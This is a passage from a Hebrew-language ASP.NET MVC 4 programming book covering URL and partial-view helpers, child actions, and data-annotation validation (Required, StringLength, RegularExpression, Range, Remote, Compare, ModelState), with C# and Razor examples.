 . ActionLinkכדי להפעיל את הגרסה המועמסת הנכונה של להעביר את הפרמטר 

אך הוא מקבל גם שם , ActionLink זהה לזה של הסייע RouteLinkדפוס הפעולה של הסייע 
הדוגמה הראשונה , למשל. ניתוב ואינו כולל ארגומנטים עבור שם הבקר ושם הפעולה

 :להלן שהצגנו קודם שקולה לשורת הקוד שActionLinkלשימוש בסייע 

@Html.RouteLink("Link Text", new {action="AnotherAction"}) 

 URLסייעי 

הם , HTMLאך במקום להחזיר ,  RouteLink ולסייעHTML ActionLink דומים לסייע URLסייעי 
 :URLיש שלושה סייעי .  ומחזירים את הכתובות הללו כמחרוזתURLבונים כתובות 

 Action 

 Content 

 RouteUrl 

. )enchor tag (מחזיר תגית עוגןאך אינו , ActionLink זהה לחלוטין לסייע Action הסייע
אז 'להצגת כל אלבומי הג) לא קישור (URLשורת הקוד שלהלן תגרום להצגת , לדוגמה

 :שנמצאים בחנות
<span> 

 @Url.Action("Browse", "Store", new { genre = "Jazz" }, null) 

</span> 

 :HTMLבלת בפורמט הנה התוצאה שמתק
<span> 

 /Store/Browse?genre=Jazz 

</span> 

 ). 8פרק  (AJAX נציג כאשר נגיע לדיון בפיתוח Actionשימוש נוסף בסייע 

 RouteLinkאך בדומה לסייע , Action זהה לזה של הסייע RouteUrlדפוס הפעולה של הסייע 
 . ר ושם הפעולהואינו כולל ארגומנטים עבור שם הבק, הוא מקבל שם ניתוב

יישום מכיוון שהוא מאפשר להמיר נתיב יישום יחסי לנתיב ,  שימושי במיוחדContentהסייע 
 . Music Storeיישום ה של Layout_ בפעולה בתצוגה Contentניתן לראות את הסייע . מוחלט

<script src="@Url.Content("~/Scripts/jquery-1.5.1.min.js")" 

      type="text/javascript"></script> 

 מאפשר לסייע Contentבתור התו הראשון של הפרמטר שמועבר לסייע ) ~(השימוש בטילדה 
אתם יכולים לחשוב ( נכונה ללא תלות במיקום הפריסה הנוכחי של היישום URLלהפיק כתובת 
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 עשויה URLהכתובת , בלי הטילדה). על הטילדה כתו שמייצג את תיקיית השורש של היישום
 . השתבש במקרה של העברת היישום במעלה או במורד היררכיית התיקיות הווירטואליתל

הטילדה מתורגמת , Razor של מנוע 2אשר משתמשים בגרסה , ASP.NET MVC 4ביישומי 
הקוד . img- וscript ,style של האלמנטים srcבאופן אוטומטי כאשר היא מופיעה בתכונה 

 : כתב כךיה לחלוטין גם אם ימהדוגמה הקודמת יפעל בצורה תקינ

<script src="~/Scripts/jquery-1.5.1.min.js" type="text/javascript"></script> 

Html.Partialו - Html.RenderPartial 

תצוגה חלקית מכילה בדרך כלל תגיות .  מממש תצוגות חלקיות בתור מחרוזותPartialהסייע 
 :  ארבע גרסאות מועמסותPartialלסייע . אשר נרצה לממש כחלק ממספר תצוגות שונות

public void Partial(string partialViewName); 

public void Partial(string partialViewName, object model); 

public void Partial(string partialViewName, ViewDataDictionary viewData); 

public void Partial(string partialViewName, object model, 

      ViewDataDictionary viewData); 

מכיוון שההיגיון , שימו לב שאין צורך לציין את הנתיב או את סיומת הקובץ של התצוגה
שמשמש את תהליך זמן הריצה כדי לאתר את התצוגה החלקית זהה להיגיון שמשמש לאיתור 

זמן . AlbumDisplayצוגה חלקית בשם בקוד שלהלן מבוצע מימוש של ת, לדוגמה. תצוגה רגילה
 . הריצה ייעזר בכל מנועי התצוגה הזמינים כדי לאתר את התצוגה המבוקשת

@Html.Partial("AlbumDisplay") 

זרם הפלט אל  כותב ישירות RenderPartialאולם , Partial דומה לסייע RenderPartialהסייע 
)output stream(זוהי הסיבה שאתם חייבים למקם את . ת של התגובה במקום להחזיר מחרוז

RenderPartialשתי שורות הקוד שלהלן , לדוגמה. ביטוי קודלכתוב  ולא , בתוך בלוק קוד
  :ת פלט זהה לזרם הפלטפיקומ

@{Html.RenderPartial("AlbumDisplay "); } 

@Html.Partial("AlbumDisplay ") 

עדיף , ככלל? RenderPartialאו בסייע  Partialבסייע , באיזה מהסייעים להשתמש, אם כן
אינכם  (RenderPartial מכיוון שהוא נוח יותר לשימוש מאשר הסייע Partialלהשתמש בסייע 

מבחינת ביצועים , עם זאת). חייבים לכרוך את הקריאה באמצעות סוגריים מסולסלים
RenderPartialוא כותב ישירות  יכול במקרים מסוימים להיות היעיל מבין השניים מכיוון שה

היתרון היחסי הזה יבוא לידי ביטוי בצורה משמעותית רק במקרים של , אבל. אל זרם התגובה
 ). בגין ריבוי תנועה או קריאות חוזרות ונשנות בלולאה(שימוש רב מאוד 

Html.Actionו - Html.RenderAction 

תפקידו . RenderPartial- וPartial דומים לסייעים Html.RenderAction- וHtml.Actionהסייעים 
 הוא לעזור למימוש חלקים ממודל התצוגה שמבוססים על תגיות תצוגה Partialשל הסייע 
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 משמש להרצת פעולת בקר נפרדת והצגת Actionהסייע , לעומתם. המאוחסנות בקובץ נפרד
 מספק רמה גבוהה יותר של גמישות ויכולת שימוש חוזר מכיוון Actionהסייע . התוצאות

) controller context(ר בקר שֵקְמודל שונה ולנצל את קיומו של הֶפעולת הבקר יכולה לבנות ש
  .נפרד

 הוא בכך Html.RenderAction לבין הסייע Html.Actionההבדל היחיד בין הסייע , גם הפעם
עובדה שיכולה להביא לעתים לשיפור קל ( כותב ישירות אל התגובה RenderAction שהסייע
 :נניח שאתם משתמשים בבקר הבא. כעת נציג דוגמה קצרה לשימוש בסייע הזה). ביעילות

public class MyController : Controller { 

 public ActionResult Index() { 

  return View(); 

 } 

 

 [ChildActionOnly] 

 public ActionResult Menu() { 

  var menu = GetMenuFromSomewhere(); 

  return PartialView(menu); 

 } 

} 

 משמשת לבניית מודל תפריט ומחזירה תצוגה חלקית שכוללת את התפריט Menuהפעולה 
 :בלבד

@model Menu 

<ul> 

@foreach (var item in Model.MenuItem) { 

 <li>@item.Text</li> 

} 

</ul> 

 . התפריט כדי להציג את Menuניתן כעת לבצע קריאה לפעולה , Index.cshtmlבתצוגה 
<html> 

<head><title>Index with Menu</title></head> 

<body> 

 @Html.Action("Menu") 

 <h1>Welcome to the Index View</h1> 

</body> 

</html> 

סימון זה נועד למנוע . ChildActionOnlyAttribute מסומנת באמצעות Menuשימו לב שהפעולה 
 Actionקריאה לסייע רק , במקום זה. URLו ישירות דרך מתהליך זמן הריצה ייזום של פעולה ז

 חובה אין זו .)child action(הדרך היחידה ליזום את פעולת הבת  היא RenderAction לסייע או
 מומלץ לעשות זאת עבור פעולות בדרך כללאך , ChildActionOnlyAttributeלהשתמש בסימון 

 . בת
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המאפיין . IsChildAction מאפיין חדש בשם ControllerContext נוסף למחלקה MVC 3 הבגרס
IsChildAction מכיל ערך true , כאשר הקריאה לפעולה מתבצעת דרךAction או RenderAction ,

חלק ממסנני הפעולה של . URL הפעולה מתבצעת באמצעות כתובת וםיזי כאשר falseוערך 
משל התכונות כמו ל( מתייחסים בצורה שונה לפעולת בת MVCזמן הריצה של 
AuthorizeAttributeו -OutputCacheAttribute .( 

 RenderActionהעברת ערכים לסייע 

ניתן להעביר ערכים נוספים בתור , מכיוון שסייעי הפעולות הללו מפעילים שיטות פעולה
 : נניח שברצונכם להעביר אפשרויות לתפריט, לדוגמה. פרמטרים לפעולת היעד

 : בדרך זו, MenuOptionsחלקה חדשה בשם אתם יכולים להגדיר מ .1
public class MenuOptions { 

 public int Width { get; set; } 

 public int Height { get; set; } 

} 

 : כמוצג להלן, Menuהוסיפו פרמטר מתאים לשיטת הפעולה  .2
[ChildActionOnly] 

public ActionResult Menu(MenuOptions options) { 

 return PartialView(options); 

} 

כעת אתם יכולים להעביר אפשרויות תפריט בעת קריאה לפעולה בקובץ התצוגה  .3
 :שלכם

@Html.Action("Menu", new { 

options = new MenuOptions { Width=400, Height=500 } }) 

 ActionNameעבודה עם התכונה 

 בעת קריאה ActionName את התכונה  מכבדRenderActionבהקשר זה כדאי לציין שהסייע 
תצטרכו להקפיד להשתמש בשם , אם תסמנו את הפעולה באופן המוצג להלן. לשם של פעולה

CoolMenu)  ולאMenu (כאשר הקריאה מתבצעת באמצעות , בתור שם הפעולהRenderAction : 

[ChildActionOnly] 

[ActionName("CoolMenu")] 

public ActionResult Menu(MenuOptions options) { 

 return PartialView(options); 

} 
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 סיכום
וגם כיצד להשתמש בכל סייעי , WWWבפרק זה ראינו כיצד לבנות טפסים להצגה ברשת 

HTML שמספקת תשתית MVCהסייעים אינם פועלים בצורה .  לצורך בניית טפסים ומימוש
הם כלים שנועדו ) helpers(עים הסיי. אשר פוגעת ברמת השליטה שלכם בתגיות של היישום

הם מאפשרים לשלוט באופן מלא בכל , עם זאת. לשפר את ההספק שלכם כמתכנתים
 . הסוגריים המשולשים שמופקים על ידי היישום שאתם מפתחים
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 6פרק 

 סימון נתונים ואימות

Scott Allen 

 

 עיקרי הפרק  

 שימוש בסימון נתונים לצרכי אימות 

 יצירת לוגיקת אימות מותאמת אישית 

 מטא של מודל-שימוש בסימוני נתוני 

 

 של קלט שמתקבל מהמשתמש היה מאז ומעולם משימה מאתגרת )validation(אימות 
"  אימותלוגיקת"מעבר לרצון ליישם . ט בפרטלמפתחים בכלל ולמפתחים של יישומי אינטרנ

)validation logic (גם לדאוג חייביםאנחנו , כבר בצד הדפדפן לצורך שיפור חווית המשתמשים 
יישום לוגיקת אימות בצד הלקוח מאפשר לספק למשתמשים . ליישם לוגיקת אימות בשרת

בעבר השני . נט מודרנייםכמצופה מיישומי אינטר, משוב מיידי על המידע שהם מזינים לטופס
מכיוון שאיננו יכולים , ביצוע אימות בצד השרת מהווה שכבת אבטחה חיונית, של החיבור

 . לבטוח במידע אשר מתקבל מהרשת

במקביל צריך גם לנהל את . לוגיקת האימות עצמה היא רק חלק אחד ממנגנון האימות השלם
הודעות השגיאה בממשק המשתמש להטמיע את , הודעות השגיאה שנלוות למסקנות האימות

ולספק מנגנונים שיאפשרו למשתמשי היישום להתאושש בצורה אלגנטית , של היישום
 . משגיאות אימות ותקלות אחרות

בוודאי תשמחו ללמוד שתשתית , אם הטמעת מנגנוני אימות נשמעת כמו מטלה מפרכת
ASP.NET MVCלדעת על רכיבי בפרק זה כלול החומר שיש.  יכולה לסייע להקים אותה 

 . ועל היישום של תהליכי האימותMVCהאימות של תשתית 

 מתייחס בעיקר לאימות של ערכי MVCבהקשר של תבנית העיצוב ) validation (אימותהמונח 
, או? האם המשתמש העביר את סוג הערך הנדרש:  והוא מכוון להשיב על שאלות כמומודל

 יכולות לסייע באימות של ASP.NET MVC של אפשרויות האימות? האם הערך בטווח הנכון
 תוכלו לבנות סכמות אימות מותאמות -אפשרויות האימות הללו ניתנות להרחבה . ערכי מודל
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 אך הגישה שמשמשת לאימות על פי ברירת מחדל -אישית שתפעלנה בכל דרך שתרצו 
סימוני  כוניםשמ) attributes(מבוססת על סגנון אימות הצהרתי הכרוך בשימוש במאפיינים 

 .)data annotations(נתונים 

נראה גם כיצד להשתמש . MVCבפרק זה נלמד כיצד לעבוד עם סימוני נתונים בתשתית 
סימוני הנתונים הם למעשה . בסימוני נתונים לצרכים נוספים שאינם קשורים לאימות דווקא

והתשתית , )נתוניםנתונים על ה(מטא לתשתית -מנגנון לשימוש כללי שמאפשר הזנה של נתוני
 HTMLאלא גם לבניית תגיות , המטא הללו לא רק לצרכי ביצוע אימות-משתמשת בנתוני

 . הבה נבחן תרחיש אימות טיפוסי, אך לפני הכול. שמשמשות להצגה ולעריכה של מודלים

 סימון לצורכי אימות
תהליך נדרש לבצע  ASP.NET MVC של Music Storeמשתמש שמנסה לרכוש מוסיקה ביישום 

לשם כך עליו לספק את פרטי . תשלום שגרתי כדי לשלם עבור תכולת עגלת הקניות שלו
 מייצגת את כל מה שדרוש ליישום כדי Orderהמחלקה . אמצעי התשלום וכתובת למשלוח

 :לבצע את תהליך התשלום
public class Order 

{ 

 public int OrderId { get; set; } 

 public DateTime OrderDate { get; set; } 

 public string Username { get; set; } 

 public string FirstName { get; set; } 

 public string LastName { get; set; } 

 public string Address { get; set; } 

 public string City { get; set; } 

 public string State { get; set; } 

 public string PostalCode { get; set; } 

 public string Country { get; set; } 

 public string Phone { get; set; } 

 public string Email { get; set; } 

 public decimal Total { get; set; } 

 public List<OrderDetail> OrderDetails { get; set; } 

} 

כמו למשל ( נקבעים על פי קלט שמתקבל מהמשתמש Orderחלק מהמאפיינים במחלקה 
FirstNameו -LastName( , בעוד שאחרים נקבעים על ידי היישום על בסיס הערכים של

כמו למשל (או על ידי איתור ערכים מתאימים בבסיס הנתונים , מאפיינים אחרים בסביבה
ערך זה , יב להיכנס לחשבון לפני ביצוע התשלוםמכיוון שהמשתמש חי: Usernameהמאפיין 

 ). אמור להיות ידוע למערכת

להלן קוד מתוך . EditorForModel בשם HTMLהיישום בונה את דף התשלום באמצעות סייע 
 : Views/Checkout שבתיקייה AddressandPayment.cshtmlהתצוגה 

<fieldset> 

 <legend>Shipping Information</legend> 

 @Html.EditorForModel() 
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</fieldset> 

,  יוצר שדות קלט עבור כל אחד מהמאפיינים של אובייקט מודלEditorForModelהסייע 
 .6-1ובמקרה שלנו התוצר הסופי הינו הטופס שמוצג בתרשים 

 

 6-1תרשים 

אנחנו לא רוצים שהמשתמש יזין בעצמו את , לדוגמה. בטופס זה יש מספר בעיות ברורות
ערכים אלה ייקבעו על ידי ). OrderDate(או את תאריך ההזמנה ) OrderId(הזמנה מספר ה

למרות שהתוויות של שדות הקלט מובנות לחלוטין למפתח , כמו כן. היישום שבצד השרת
)FirstNameזה לא מה שנרצה להציג בפני המשתמשים שלנו, ) הוא בבירור שם של מאפיין .

אך בוודאי לא נרצה , ורצוי בעברית, המתאר את השדהבמקרה זה נעדיף בוודאי להציג שם 
 .בנושאים אלה נדון בהמשך. להציג את שם השדה שבתוכנית

  4MVC ביישומי 5L HTMהפעלת 

. HTML 5 של התשתית משתמשים בטיפוסי קלט של HTMLסייעי , MVC 4החל מגרסת 
 בהשוואה OrderDate ושל OrderID ניתן לזהות בבירור את העיצוב השונה של 6-1בתרשים 

 בתשתית OrderDateהסיבה למראה השונה היא שהמימוש של . לשדות הקלט האחרים בדף
MVC 4 נעשה באמצעות אלמנט קלט מטיפוס number , והמימוש שלOrderDate נעשה 

במקרה המסוים הזה איננו רוצים להציג את , אומנם. datetimeבאמצעות אלמנט קלט מטיפוס 
אך זו דוגמה טובה לדרך שבה נעשה המימוש של טיפוסי הקלט , ופסשדות הקלט הללו בט

ודוגמה לאפשרויות השונות וללוגיקת האימות שמוספים על ידי הדפדפן  , MVC 4הללו על ידי 
)Google Chrome ,בהתאם לטיפוס הקלט) במקרה שלנו . 
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במצב . 6-1ם בשלב זה עלינו לטפל בבעיה רצינית יותר שאינה נראית בתצלום המסך שבתרשי
 Submitלקוחות החנות יכולים להשאיר את הטופס ריק לחלוטין וללחוץ על לחצן , הנוכחי

Orderכגון , מבלי שהיישום יודיע להם שחובה לספק מידע חיוני וחשוב,  שבתחתית הטופס
 . נטפל בבעיה זו באמצעות סימוני נתונים. השם והכתובת שלהם

 שימוש בסימוני אימות 

הם מאפיינים ששייכים למרחב השמות ) data annotations(ים סימוני נתונ
System.ComponentModel.DataAnnotations)  למעט צמד מאפיינים שמוגדרים מחוץ למרחב

אך , ניתן להשתמש במאפיינים אלה לצורך אימות בצד השרת). כפי שנראה בהמשך, השמות
המאפיינים הללו על מאפיין של התשתית תומכת גם באימות בצד הלקוח בעת החלה של אחד 

 שמכסים את רוב DataAnnotations במרחב השמות מאפיינים הארבעעומדים לרשותכם . מודל
 . Requiredהמאפיין הראשון שנעסוק בו הוא . תרחישי האימות השכיחים

Required 

 FirstNameנסמן את המאפיין ,  לספק שם פרטי ושם משפחהחייביםמכיוון שהלקוחות שלנו 
 : Required על ידי המאפיין Order של מודל ההזמנה LastNameואת 

[Required] 

public string FirstName { get; set; } 

 

[Required] 

public string LastName { get; set; } 

בהמשך נלמד כיצד  (nullהמאפיין יגרום להודעה של שגיאת אימות אם הוא ריק או אם ערכו 
 ). לטפל בשגיאות אימות

 מספק לוגיקת אימות בצד הלקוח Requiredהמאפיין , בדומה לשאר מאפייני האימות המובנים
 . ובצד השרת כאחד

, למשל, אם הלקוח ינסה לשלוח את הטופס מבלי לספק בו שם משפחה, לאחר מיקום המאפיין
 . 6-2תוצג בפניו הודעת השגיאה הסטנדרטית שבתרשים 

 6-2תרשים    

שדה שם המשפחה הריק ,  מנוטרלות בדפדפן של הלקוחJavaScriptפשרויות גם אם א, עם זאת
ובהנחה שפעולת הבקר , לכן גם במקרה זה. עדיין יזוהה על ידי לוגיקת האימות בצד השרת

הודעת השגיאה שבתרשים , )בהמשך יוסבר בדיוק למה הכוונה(שלכם מיושמת בצורה נכונה 
 .  תוצג בפני המשתמש6-2
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StringLength 

אך מה יקרה אם יזין שם , הלקוח אינו יכול להתחמק מהזנת שמו המלא, כפי שראינו לעיל
בלתי מוגבל של לאחסן רצף ) בתיאוריה( יכולים NET.למרות שמשתני מחרוזת של ? ארוך מדי

 תווים 160 קובעת גבול עליון של Music Storeסכמת בסיס הנתונים של יישום , Unicodeתווי 
באמצעות . נקבל התרעת שגיאה, סה להזין לבסיס הנתונים שם ארוך יותראם ננ. לערכי שם
 נוכל להבטיח שערך המחרוזת שמועבר על ידי המשתמש לא יחרוג StringLengthהמאפיין 

 : מהמגבלה המוגדרת על ידי בסיס הנתונים
[Required] 

[StringLength(160)] 

public string FirstName { get; set; } 

 

[Required] 

[StringLength(160)] 

public string LastName { get; set; } 

. כאן המקום לציין שאין מגבלה על מספר מאפייני האימות שמוחלים על מאפיין מודל יחיד
תוצג בפניו הודעה השגיאה , אם הלקוח יזין יותר מדי תווים, לאחר החלת המאפיין

 . 6-3 בתרשים LastNameהסטנדרטית כמו זו שתחת השדה 

 6-3תרשים    

MinimumLength הינו פרמטר שֵמי )named parameter ( אופציונלי שמאפשר לכם לציין גבול
הינו מחרוזת  FirstNameהקוד שלהלן מאמת שהערך המוזן עבור המאפיין . תחתון למחרוזת

 ): כולל( תווים 160 עד 3באורך של 
[Required] 

[StringLength(160, MinimumLength=3)] 

public string FirstName { get; set; } 

RegularExpression 

 מחייבים תהליך אימות מורכב יותר מאשר בדיקה של Orderחלק מהמאפיינים של המודל 
 של Emailעלינו לבדוק שהמאפיין , לדוגמה. מילוי שדות חובה והגבלת האורך של מחרוזת

כמעט בלתי אפשרי לוודא . ילה מקבל כתובת דואר אלקטרוני חוקית ופעOrderהמודל 
ועל כן , שכתובת דואר אלקטרוני פעילה מבלי לשלוח הודעת דואר אלקטרוני ולחכות לתגובה

נעשה זאת . כתובת דואר אלקטרוני פעילהנראה כמו עלינו להסתפק בבדיקה שהערך המוזן 
 : RegularExpressionבאמצעות המאפיין 

[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}")] 

public string Email { get; set; } 
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הינם אמצעי יעיל ותמציתי לאכיפת המבנה והתוכן של ) regular expressions(ביטויים תקינים 
אם הלקוח מזין לשדה כתובת הדואר האלקטרוני מחרוזת שאינה תואמת לדפוס . ערך מחרוזת

 . 6-4תוצג בפניו הודעת השגיאה כמו בתרשים , יטוי התקיןהכתובת שהוגדר באמצעות הב

 6-4תרשים    

הודעת השגיאה הזו נראית כמו משהו , )וגם לחלק מהמפתחים(למשתמש שאינו מפתח 
בסעיף הבא נלמד להחליף את . על המקלדת  שהקיש באקראי5שהוקלד על ידי פעוט בן 

 . ההודעה הזו בנוסח ידידותי יותר למשתמש

Range 

אילו רצינו להעניק .  משמש להצבת רף תחתון ורף עליון על ערכים מספרייםRangeהמאפיין 
היינו ,  בלבד44 עד 35בחנות המוסיקה המקוונת שלנו שירות ללקוחות בגיל בטווח הגילאים 

 :  כמוצג בקוד שלהלןRange ולהשתמש בתכונה Order למחלקה Ageיכולים להוסיף מאפיין 

[Range(35,44)] 

public int Age { get; set; } 

. הפרמטר הראשון של המאפיין הוא הערך הנמוך ביותר והפרמטר השני הוא הערך הגבוה ביותר
 עבור משתנים Rangeניתן להשתמש במאפיין . ערכי הפרמטרים עצמם נכללים בתחום המותר

גרסה (רוזות  ושתי מחTypeוגרסה מועמסת נוספת של הבנאי מקבלת פרמטר , double- וintמסוג 
 ). לשמש לקביעת טווח עבור מאפייני תאריך ומאפיינים דצימליים, זו יכולה לדוגמה

[Range(typeof(decimal), "0.00", "49.99")] 

public decimal Price { get; set; } 

 System.Web.Mvc אימות במרחב השמות תכונות

לו להיעזר בהם ביישומים  מספקת שתי תכונות אימות נוספות שתוכASP.NET MVCתשתית 
 . System.Web.Mvc במרחב השמות תכונות אלו נמצאות. שתפתחו

.  מאפשרת לבצע אימות בצד הלקוח על בסיס נתונים שמתקבלים מהשרתRemoteהתכונה 
. MVC Music Storeיישום ה של RegisterModelמחלקה  בUserNameניקח לדוגמה את המאפיין 

בצד הלקוח קשה לאמת . משתמשים יהיה אותו שם משתמשעלינו למנוע מצב שבו לשני 
כדי לעשות זאת עלינו לשלוח לעמדת הלקוח את כל שמות (שהערך שמוזן הוא אמנם ייחודי 

 מאפשרת לשלוח את ערך Remoteהתכונה ). המשתמשים שמאוחסנים בבסיס הנתונים
UserNameוניםולהשוות את הערך מול הערכים שנמצאים בבסיס הנת,  אל השרת . 

[Remote("CheckUserName", "Account")] 

public string UserName { get; set; } 
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בתוך הסוגריים המרובעים אפשר לציין את שם הפעולה ואת שם הבקר שעבורם תבוצע קריאה 
הקוד בצד הלקוח ישלח באופן אוטומטי אל השרת את הערך שהוזן על . בקוד שבצד הלקוח

גרסה מועמסת של בנאי התכונה מאפשרת לשלוח . UserNameין ידי המשתמש עבור המאפי
 . אל השרת שדות נוספים

public JsonResult CheckUserName(string username) 

{ 

 var result = Membership.FindUsersByName(username).Count == 0; 

 return Json(result, JsonRequestBehavior.AllowGet); 

} 

 false או trueומחזירה ערך , בלת פרמטר עם שם המאפיין שעליה לאמתפעולת הבקר מק
, JSON נעסוק בהרחבה באפשרויות 8בפרק ). JSON) JavaScript Object Notationבפורמט 

AJAXובכלים נוספים שפועלים בצד הלקוח  . 

  מאפשרת לוודא ששני מאפיינים באובייקטCompareהתכונה . Compareהתכונה השנייה היא 
אתם יכולים לדרוש מהלקוח להזין את כתובת הדואר , לדוגמה. מודל מכילים ערך זהה

 : האלקטרוני שלו פעמיים כדי למנוע שגיאות הקלדה

[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}")] 

public string Email { get; set; } 

 

[Compare("Email")] 

public string EmailConfirm { get; set; } 

תוצג בפניו הודעת השגיאה שבתרשים , ת דואר אלקטרוני שונותואם המשתמש יזין שתי כתוב
6-5 . 

 6-5תרשים    

. יכולות לפעול רק מכיוון שסימוני נתונים ניתנים להרחבהCompare - וRemoteהתכונות 
כעת נראה כיצד לשנות . ים אישיתבהמשך הלימוד בפרק זה נתעמק בבניית סימונים מותאמ

 . את הודעות השגיאה שמוצגות למשתמש במקרה של חריגה מכללי האימות

 הודעות שגיאה מותאמות אישית ולוקליזציה

עם הודעת שגיאה מותאמת ) named parameter(כל מאפיין אימות יכול לקבל פרמטר שֵמי 
 RegularExpression של המאפיין אם אינכם מרוצים מנוסח הודעת השגיאה, לדוגמה. אישית

תוכלו להתאים באופן אישי את הודעת , )הרגולרי, מכיוון שהוא מכיל את הביטוי התקין(
 : השגיאה באמצעות הקוד שלהלן

[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}", 

      ErrorMessage="Email doesn't look like a valid email address.")] 

public string Email { get; set; } 
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שם הפרמטר שמשמש להעברת נוסח הודעת השגיאה החדש הוא , בכל מאפייני האימות
ErrorMessage . 

[Required(ErrorMessage="Your last name is required")] 

[StringLength(160, ErrorMessage="Your last name is too long")] 

public string LastName { get; set; } 

המאפיינים המובנים . הודעת שגיאה מותאמת אישית יכולה לכלול שומר מקום יחיד במחרוזת
בונים את הודעת השגיאה על ידי החלפת שומר המקום בשם התצוגה הידידותי של המאפיין 

נקח לדוגמה את ). נלמד כיצד להגדיר שמות תצוגה, בסעיף שעוסק בסימוני תצוגה, בהמשך(
 :  בקוד שלהלןRequiredהמאפיין 

[Required(ErrorMessage="Your {0} is required.")] 

[StringLength(160, ErrorMessage="{0} is too long.")] 

public string LastName { get; set; } 

איר את אם הלקוח יש, כעת). }0{(אל המאפיין מועברת הודעת שגיאה שכוללת שומר מקום 
 . 6-6תוצג בפניו הודעת השגיאה שבתרשים , השדה ריק

 6-6תרשים    

הטמעת הודעות השגיאה בקוד אינה פתרון , ביישומי אינטרנט שמיועדים לשוק הבינלאומי
, למרבה המזל. נרצה להציג טקסט שונה בכל ארץ, במקום להשתמש במחרוזת מפורשת. טוב

 טיפוס המשאב ושם המשאב לצורך לוקליזציה של כל מאפייני האימות מאפשרים לציין את
 : הודעת השגיאה

[Required(ErrorMessageResourceType=typeof(ErrorMessages), 

     ErrorMessageResourceName="LastNameRequired")] 

[StringLength(160, ErrorMessageResourceType = typeof(ErrorMessages), 

         ErrorMessageResourceName = "LastNameTooLong")] 

public string LastName { get; set; } 

 שמכיל בתוכו ErrorMessages.resxהקוד מבוסס על ההנחה שהיישום כולל קובץ משאבים בשם 
כדי להשתמש בקבצי ). LastNameTooLong - וLastNameRequired(את הרשומות המתאימות 
 של תהליך הריצה UICultureעליכם לקבוע שפה במאפיין , ASP.NETמשאבים מקומיים בסביבת 

 How To: Set the Culture and UI Culture for ASP.NET Page"למידע נוסף ראו . הנוכחי

Globalization " בכתובתhttp://msdn.microsoft.com/en-us/library/bz9tc508.aspx . 

 הצצה מאחורי הקלעים: סימוני נתונים
ולפני שנראה כיצד ניתן , ללמוד כיצד לעבוד עם שגיאות אימות בבקר ובתצוגותלפני שנתחיל 

הבה נקדיש נבחן ונבין את מנגנוני הפעולה הפנימיים , לבנות מאפייני אימות מותאמים אישית
 מהוות חלק ממערכת ASP.NET MVCאפשרויות האימות של תשתית . של מאפייני האימות

מאמתי מודלים ומצבי , מטא של מודלים-נתוני, ור למודלשכוללת מנגנוני קישמתואמת היטב 
 . מודלים
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 אימות וקישור למודל

סביר להניח שבמהלך הקריאה על סימוני האימות שאלתם את עצמכם מספר שאלות 
 ?איזה חיווי ניתן לכישלון של תהליך האימות, או? באיזה שלב מבוצע האימות: מתבקשות

 מריצה את לוגיקת האימות במהלך הקישור ASP.NET MVCתשתית , על פי ברירת מחדל
הקישור למודל מבוצע באופן אוטומטי בעת קריאה לשיטת , 4כפי שהזכרנו בפרק . למודל

 :פעולה בעלת פרמטרים
[HttpPost] 

public ActionResult Create(Album album) 

{ 

 // the album parameter was created via model binding 

 // .. 

} 

 או השיטה UpdateModelבאמצעות השיטה , אפשר לבצע באופן מפורש קישור למודלכעת 
TryUpdateModelשל הבקר : 

[HttpPost] 

public ActionResult Edit(int id, FormCollection collection) 

{ 

 var album = storeDB.Albums.Find(id); 

 

 if(TryUpdateModel(album)) 

 { 

  // ... 

 } 

} 

הוא , המקשר למודל מסיים לעדכן את מאפייני המודל על סמך הערכים החדשיםלאחר ש
המטא העדכניים של המודל ובסופו של דבר מקבץ אליו את כל חוקי האימות -משתמש בנתוני

כדי לעבוד ) validator( מספק אובייקט אימות מיוחד MVCרכיב זמן הריצה של . עבור המודל
אובייקט האימות יודע לאתר את כל מאפייני האימות . לעם סימוני הנתונים שהוגדרו במוד

המקשר למודל תופס את כל החריגות מכללי האימות . ולהריץ את לוגיקת האימות שבתוכן
 . ורושם אותן במצב המודל

 אימות ומצב מודל

אשר נגיש באובייקטים , model state(תוצר הלוואי העיקרי של הקישור למודל הוא מצב מודל 
מצב המודל מכיל לא רק את כל ). ModelState דרך המאפיין Controllerהמחלקה שיורשים מ

אלא גם את כל השגיאות שמשויכות לכל מאפיין , הערכים שהמשתמש ניסה להזין למודל
כאשר יש שגיאות במצב ). וכמובן גם את כל השגיאות שמשויכות לאובייקט המודל עצמו(

 . falseרה  מחזיModelState.IsValidהשיטה , המודל
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. LastNameנניח שהמשתמש מסר את טופס התשלום למרות שלא מילא את השדה , כדוגמה
כל הביטויים הבאים יהיו נכונים לאחר , Requiredבהנחה שעל המאפיין מוּחָל סימון האימות 

 :השלמת הקישור למודל
ModelState.IsValid == false 

ModelState.IsValidField("LastName") == false 

ModelState["LastName"].Errors.Count > 0 

 :במצב המודל ניתן גם למצוא את הודעת השגיאה שנלווית לאימות הכושל

var lastNameErrorMessage = ModelState["LastName"].Errors[0].ErrorMessage; 

ו בדיוק כמ. כמובן שכמעט לעולם לא נידרש לכתוב קוד לחיפוש הודעה על שגיאה מסוימת
 באופן לשלוףהוא יכול גם , שזמן הריצה מזין שגיאות אימות באופן אוטומטי למצב המודל

 המובנים משתמשים במצב HTMLסייעי , 5כמוסבר בפרק . מצב המודלמתוך אוטומטי שגיאות 
הסייע , לדוגמה. לשינוי המראה של המודל בתצוגה) ובשגיאות שמאוחסנות בו(המודל 

ValidationMessage להצגת הודעת שגיאה שקשורה למערך מסוים של נתוני תצוגה על  גורם
 . ידי בדיקה של מצב המודל

@Html.ValidationMessageFor(m => m.LastName) 

האם מצב המודל מאומת לפי : השאלה היחידה שפעולת הבקר צריכה לשאול בדרך כלל היא
 ? או לא, הכללים שהוגדרו במאפייני האימות

 ת אימות ושגיאופעולות בקר

כדי לקבוע את המשך הפעילות במקרים ) controller actions(ניתן להשתמש בפעולות בקר 
הפעולה מבצעת בדרך כלל , במקרה של אימות מוצלח. שבהם תהליך האימות נכשל או הצליח

, כאשר האימות נכשל. את הצעדים הנדרשים כדי לשמור או לעדכן את המידע עבור הלקוח
הצגה חוזרת ). זו שממנה התקבלו ערכי המודל(ולחת שוב את התצוגה הפעולה בדרך כלל ש

של אותה תצוגה מאפשרת להציג את כל שגיאות האימות בפני המשתמש כדי שיוכל לתקן 
